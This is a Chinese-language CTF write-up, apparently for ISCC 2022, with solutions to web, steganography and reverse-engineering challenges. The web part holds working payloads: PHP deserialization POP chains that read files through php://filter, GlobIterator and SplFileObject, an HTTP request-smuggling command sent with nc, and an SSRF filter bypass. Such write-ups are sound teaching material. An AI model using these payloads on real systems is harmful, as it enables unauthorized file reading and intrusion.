web 冬奥会 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php show_source(__FILE__ ); $Step1 =False ;$Step2 =False ;$info =(array )json_decode(@$_GET ['Information' ]);if (is_array($info )){    var_dump($info );     is_numeric(@$info ["year" ])?die ("Sorry~" ):NULL ;     if (@$info ["year" ]){         ($info ["year" ]=2022 )?$Step1 =True :NULL ;     }     if (is_array(@$info ["items" ])){         if (!is_array($info ["items" ][1 ])OR  count($info ["items" ])!==3  ) die ("Sorry~" );         $status  = array_search("skiing" , $info ["items" ]);         $status ===false ?die ("Sorry~" ):NULL ;         foreach ($info ["items" ] as  $key =>$val ){             $val ==="skiing" ?die ("Sorry~" ):NULL ;         }         $Step2 =True ;     } } if ($Step1  && $Step2 ){    include  "2022flag.php" ;echo  $flag ; } ?> 
 
步骤:  现对于这段代码进行分析。
1 2 json_decode接受一个JSON格式的字符串并且把它转换为PHP变量 , JSON 格式的字符串 $json  = '{"a":"php","b":"mysql","c":3}' ; 
 
首先可得,我们需要get一个字符串。
1 is_array是一个函数,若变量为数组类型则返回true ,否则返回false  
 
1 is_numeric() — 检测变量是否为数字或数字字符串,是数字和数字字符串则返回 TRUE ,否则返回 FALSE  
 
要求里边元素第一个不能是纯数字,
 
1 array_search() 函数与 in_array() 一样,在数组中查找一个键值。 
 
 
1 foreach  as ”是一个循环语句,用于遍历数组,语法为“foreach  ($array  as  $value ) {要执行代码;}”,每进行一次循环,当前数组元素的值就会被赋值给$value 变量。
 
从而可得:?Information={“year”:”2022a”,”items”:[0,[1],2]}
解题收获: 
有一个点:2022a PHP提供了is_numeric函数,用来变量判断是否为数字。PHP弱类型语言的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval数字化再比, intval() 函数用于获取变量的整数值,从而使得…2022a=2022
 
pop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 Happy New  Year~ MAKE A WISH <?php echo  'Happy New Year~ MAKE A WISH<br>' ;if (isset ($_GET ['wish' ])){    @unserialize($_GET ['wish' ]); } else {    $a =new  Road_is_Long;     highlight_file(__FILE__ ); } class  Road_is_Long  {    public  $page ;     public  $string ;     public  function  __construct ($file ='index.php'  ) {         $this ->page = $file ;     }     public  function  __toString ( ) {         return  $this ->string->page;     }     public  function  __wakeup ( ) {         if (preg_match("/file|ftp|http|https|gopher|dict|\.\./i" , $this ->page)) {             echo  "You can Not Enter 2022" ;             $this ->page = "index.php" ;         }     } } class    {    protected   $var ;     public  function  append ($value  ) {         include ($value );     }     public  function  __invoke ( ) {         $this ->append($this ->var);     } } class  Make_a_Change  {    public  $effort ;     public  function  __construct ( ) {         $this ->effort = array ();     }     public  function  __get ($key  ) {         $function  = $this ->effort;         return  $function ();     } } 
 
解题收获:(对于未知函数进行分析) 
1 highlight_file函数用于对文件进行PHP语法高亮显示 
 
1 isset () 函数用于检测变量是否已设置并且非 NULL 。
 
1 unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。 
 
1 2 public  function  __construct (参数列表 )允许在实例化一个类之前先执行构造方法。构造函数就是当对象被创建时,类中被自动调用的第一个函数,并且一个类中只能存在一个构造函数。和普通函数类似构造函数也可以带有参数,如果构造函数有参数的话,那么在实例化也需要传入对应的参数, 
 
1 __toString(),类被当成字符串时的回应方法,此方法必须返回一个字符串,否则将发出一条 `E_RECOVERABLE_ERROR` 级别的致命错误。 
 
1 __wakeup()当使用 unserialize() 反序列化一个对象成功后,会自动调用该对象的 __wakup() 魔术方法,该魔术方法既没有参数,也没有返回值。调用到__toString() 
 
1 2 _invoke(),调用函数的方式调用一个对象时的回应方法 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。 
 
1 __construct() 每次实例化一个类都会先调用该方法进行初始化。 
 
1 __get() 魔术方法的使用。读取不可访问属性的值时,__get() 会被调用。 
 
1 preg_match 函数用于执行一个正则表达式匹配(可以完成字符串的规则匹配) 
 
步骤: 
进一步,对于代码顺序进行梳理  unserialize() 反序列化一个对象成功后,自动调用该对象的 __wakup() 魔术方法,( $this->page = "index.php")一个的对象当作字符串调用到__toString(),   我们最后要得到include($value);从而要输入不可访问属性的值调用__get(),
 
 首先对于此插件进行进一步使用。 编写运行可得:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class  Road_is_Long  {    public  $page ;     public  $string ;     public  function  __construct ($file  ) {         $this ->page = $file ;     }     public  function  __toString ( ) {         return  "aaa" ;     } } class  Try_Work_Hard   {    protected   $var ='php://filter/read=convert.base64-encode/resource=flag.php'  ; } class  Make_a_Change  {    public  $effort ; }  $a  = new  Road_is_Long('flag' );$a ->string = new  Make_a_Change();$a ->string->effort = new  Try_Work_Hard();$b  = new  Road_is_Long($a );echo  urlencode(serialize($b ));?> 
 
从而可得:wish=O%3A12%3A”Road_is_Long”%3A2%3A%7Bs%3A4%3A”page”%3BO%3A12%3A”Road_is_Long”%3A2%3A%7Bs%3A4%3A”page”%3Bs%3A3%3A”aaa”%3Bs%3A6%3A”string”%3BO%3A13%3A”Make_a_Change”%3A1%3A%7Bs%3A6%3A”effort”%3BO%3A13%3A”Try_Work_Hard”%3A1%3A%7Bs%3A6%3A”%00%2A%00var”%3Bs%3A57%3A”php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php”%3B%7D%7D%7Ds%3A6%3A”string”%3BN%3B%7D
findme 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php highlight_file(__FILE__ ); class  a  {    public  $un0 ;     public  $un1 ;     public  $un2 ;     public  $un3 ;     public  $un4 ;          public  function  __destruct ( ) {         if (!empty ($this ->un0) && empty ($this ->un2)){             $this  -> Givemeanew();             if ($this  -> un3 === 'unserialize' ){                 $this  -> yigei();             }             else {                 $this  -> giao();             }         }     }     public  function  Givemeanew ( ) {         $this  -> un4 = new  $this ->un0($this  -> un1);     }     public  function  yigei ( ) {         echo  'Your output: ' .$this ->un4;     }          public  function  giao ( ) {         @eval ($this ->un2);     }          public  function  __wakeup ( ) {         include  $this  -> un2.'hint.php' ;     } } $data  = $_POST ['data' ];unserialize($data ); 
 
解题收获:(对于未知函数进行分析) 
1 析构函数__destruct()的作用和构造函数__construct()正好相反,析构函数只有在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被自动调用 
 
1 2 3 empty () 函数用于检查一个变量是否为空。empty () 判断一个变量是否被认为是空的。当一个变量并不存在,或者它的值等同于 FALSE ,那么它会被认为不存在。
 
步骤: 
1 2 3 4 5 6 7 8 9 10 利用GlobIterator 类测文件路径。 data=O:1 :"a" :5 :{s:3 :"un0" ;s:12 :"GlobIterator" ;s:3 :"un1" ;s:8 :"hint.php" ;s:3 :"un2" ;N;s:3 :"un3" ;s:11 :"unserialize" ;s:3 :"un4" ;N;} <2 > 确定文件目录后,用SplFileObject 类进行文件读取。   data=O:1 :"a" :5 :{s:3 :"un0" ;s:13 :"SplFileObject" ;s:3 :"un1" ;s:8 :"hint.php" ;s:3 :"un2" ;N;s:3 :"un3" ;s:11 :"unserialize" ;s:3 :"un4" ;N;} ?php类似于伪协议,因此我们继续用伪协议,读取一下 hint.php. 发现  data=O:1 :"a" :5 :{s:3 :"un0" ;s:13 :"SplFileObject" ;s:3 :"un1" ;s:57 :"php://filter/read=convert.base64-encode/resource=hint.php" ;s:3 :"un2" ;N;s:3 :"un3" ;s:11 :"unserialize" ;s:3 :"un4" ;N;} 得到了flag的提示: <3 > 知道flag的特征之后,回去利用GlobIterator 类,由于 GlobIterator  类支持直接通过模式匹配来寻找文件路径,也就是说假设我们知道一个文件名的一部分,我们可以通过该类的模式匹配找到其完整的文件名。         data=O:1 :"a" :5 :{s:3 :"un0" ;s:12 :"GlobIterator" ;s:3 :"un1" ;s:6 :"f*.txt" ;s:3 :"un2" ;N;s:3 :"un3" ;s:11 :"unserialize" ;s:3 :"un4" ;N;} 知道了文件名和路径之后,就可以利用可读取文件类SplFileObject 来读取flag了。 
 
1 2 3 4 5 6 7 8 9 10 但首先要进行反编译 $b  = 'fSSSbis19k_sdW15dMe.txt' ;$b  = serialize($b );var_dump($b ); echo  '<br/>' ;echo  '<br/>' ;$data ='O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:23:"fSSSbis19k_sdW15dMe.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}' ;$data  = unserialize($data );var_dump($data ); 
 
结果在post可得flag
爱国敬业好青年-2 步骤:  查看源码,URL/change,URL/flag,解题收获: 
首先对于题目具有一定的观察能力,爱国敬业好青年?图片其实已经给出位置提示 对于post的格式掌握准确
 
Easy-SQL 步骤:  由题中的提示,首先进行get找注入点,从而进行初步的SQL注入 访问压缩包下载,可得源码分析可得。 满⾜username=admin并且password=password,⼀共是3列,内容:id,username,password post解题收获: 
MySQL8进行了一定了解,语法新特性:支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。尤其注意,所在列的后一列需要用字符表示,不能用数字,否则判断到当前列的最后一个字符会判断不出!.最好用<=替换<,
 
让我康康! 步骤:  提⽰Try flag 服务器是gunicorn20.0.0,想到请求⾛私 虚拟机进行操作
1 echo -en "GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 123\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: 127.0.0.1/fl4g\r\nX-Forwarded-For: 127.0.0.1\r\nsecr3t_ip: 127.0.0.1\r\nContent-Length: 35\r\n\r\nGET / HTTP/1.1\r\nHost: localhost\r\n\r\n" | nc 59.110.159.206 702 
 
解题收获: 
在gunicorn 20.0.4 版本中,存在一个请求走私漏洞,无论在gunicorn 前使用哪个代理,该漏洞都有效。 Http头中的Sec-Websocket-Key: 1,会进行特殊解析,从而引发此漏洞。
 
这是一道代码审计题 步骤:  网页提示,进入 /index 页面 ,进入后并无提示,尝试抓包, 而后发现提示,进入 ./static/code.txt
 用base100解码可得,由于网页限制,使得不能一次翻译到位。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 def geneSign():     if (control_key==1 ):         return  render_template("index.html" )     else :         return  "You have not access to this page!"  def check_ssrf(url):     hostname = urlparse(url).hostname     try :         if  not re.match ('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+' , url):             if  not re.match ('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+' , url):                 raise BaseException("url format error" )         if   re.match ('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+' , url):             if  judge_ip(hostname):                 return  True              return  False , "You not get the right clue!"          else :             ip_address = socket.getaddrinfo(hostname,'http' )[0 ][4 ][0 ]             if  is_inner_ipaddress(ip_address):                 return  False ,"inner ip address attack"              else :                 return  False , "You not get the right clue!"      except BaseException as  e:         return  False , str(e)     except:         return  False , "unknow error"  def ip2long(ip_addr):     return  struct.unpack("!L" , socket.inet_aton(ip_addr))[0 ] def is_inner_ipaddress(ip):     ip = ip2long(ip)     print (ip)     return  ip2long('127.0.0.0' ) >> 24  == ip >> 24  or  ip2long('10.0.0.0' ) >> 24  == ip >> 24  or  ip2long('172.16.0.0' ) >> 20  == ip >> 20  or  ip2long('192.168.0.0' ) >> 16  == ip >> 16  or  ip2long('0.0.0.0' ) >> 24  == ip >> 24  def waf1(ip):     forbidden_list = [ '.' , '0' , '1' , '2' , '7' ]     for  word in forbidden_list:         if  ip and  word:             if  word in ip.lower():                 return  True      return  False  def judge_ip(ip):     if (waf1(ip)):         return  Fasle     else :         addr = addr.encode(encoding = "utf-8" )         ipp = base64.encodestring(addr)         ipp = ipp.strip().lower().decode()         if (ip==ipp):             global  control_key             control_key = 1              return  True          else :             return  Fals 
 
访问网址/index?url=https://@mti3ljaumc4x
ip我们可控的,所以构造ip=/mti3ljaumc4x,可得提示,进一步在抓包中进行cookic替换,使用传参方式POST,
1 POST /mti3ljaumc4x/codelogin 
 
在codelogin⽅法中 定义了请求⽅式和请求的数据,数据就是data,cv一下
解题收获:  contentType是xml,是个xxe,根据js构造数据包,因为是 xml 数据推测存在 xxe 漏洞,尝试文件读取(不需要写协议)
MISC 隐秘的信息 步骤:  带入压缩包 fd254d0d0ded54d0 d1a9950550dd98c9a1d989e1cd19051c e1e5f7fc01f8007f 转二进制,删除头,解码可得解题收获:  Stegsolve软件进行进一步的使用理解, LSB隐写有其固定的步骤:
还有一个比较简单的方法,用zsteg工具,需要kali里面在线安装:gem install zsteg,使用命令格式:zsteg filename
 
真相只有一个 步骤:  打开压缩包,修改长宽高。 文件头前端与zip源文件数据区基本相同,修改图中文件,改后缀 文件爆破 Audacity打开 cmd中
1 .\SNOW.EXE -p isccmisc -C .\flag.txt 
 
解题收获:  流量包,wireshark打开, 进入flag.txt,发现看不到数据,利用snow隐写
单板小将苏翊鸣 步骤:  进入010,修改图片高度 扫描得到提示,密码,带入可得flag解题收获:  修改图片,一般只选择修改高度,随意修改宽度大多会造成图像图片出错。
藏在星空中的诗-1 步骤:  对文件图层分离,可得 将文档的星星按图上的顺序进行排列带入得到密码表 按txt文档顺序翻译组合可得flag。解题收获:  图层的分离,没有ps软件,可以用在线网址
藏在星空中的诗-2 步骤:  文件中5个为一组,每组前三个均替换成u00 与表格(key_to_the_Poem)第三列对照,例✴为u+2734,则✴就用4进行替换 带入解码解题收获:  掌握每一种编码的形式,对于星星的规律,才能在较短时间内找到题解。
2022冬奥会 步骤:  身为东道主的你知道此次冬奥会的吉祥物分别是谁吗?并且你知道这两只冬奥会的吉祥物最初设计的原型分别是什么吗? 按题目提示(图片修改长宽高后,还有提示),可直接将“灯笼”填入可得 得到一个损坏图片,拖入010既得
降维打击 步骤:  使用010图片分离,可得 zsteg工具分析,提取可得 魔女字体,对照翻译解题收获:  PNG隐写工具 zsteg的使用方法:zsteg可以检测PNG和BMP图片里的隐写数据
1 2 zsteg -a [png图片] zsteg -E "b1,r,lsb,yx"  [png图片] > out.png 
 
REVERSE GetTheTable 步骤:  IDA打开,找到main,tab反编译 找到信息,解码
Bob’s Code 步骤:  IDA打开,找到main,得到字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import  base64import  stringa = '代码'  secret = ''  for  j in  a:    if (j == '.' ):         print (j,end='' )         continue      if (ord (j)>=48  and  ord (j)<=57 ):         print (j,end='' )         continue      for  i in  range (65 ,127 ):         if (i>=65  and  i <=90 ):             if ((i + 2  - 65 ) % 26  + 65  == ord (j)):                 print (chr (i),end='' )                 break          elif (i>=97  and  i <= 123 ):             if ((i + 2  - 97 ) % 26  + 97  == ord (j)):                 print (chr (i),end='' )                 break  print ('\n' )print (secret)str1 = '===='  string1 = "ABCDEfghijklmnopqrsTUVWXYZabcdeFGHIJKLMNOPQRStuvwxyz0123456789-_"  string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"  flag1 = base64.b64decode(str1.translate(str .maketrans(string1,string2))) flag = base64.b64decode(flag1) print (flag)
 
放入a中,之后结果放入str1中,可得flag解题收获:  tab进行反编译(时间长不写都忘了),其次就是脚本能力,我只会改脚本……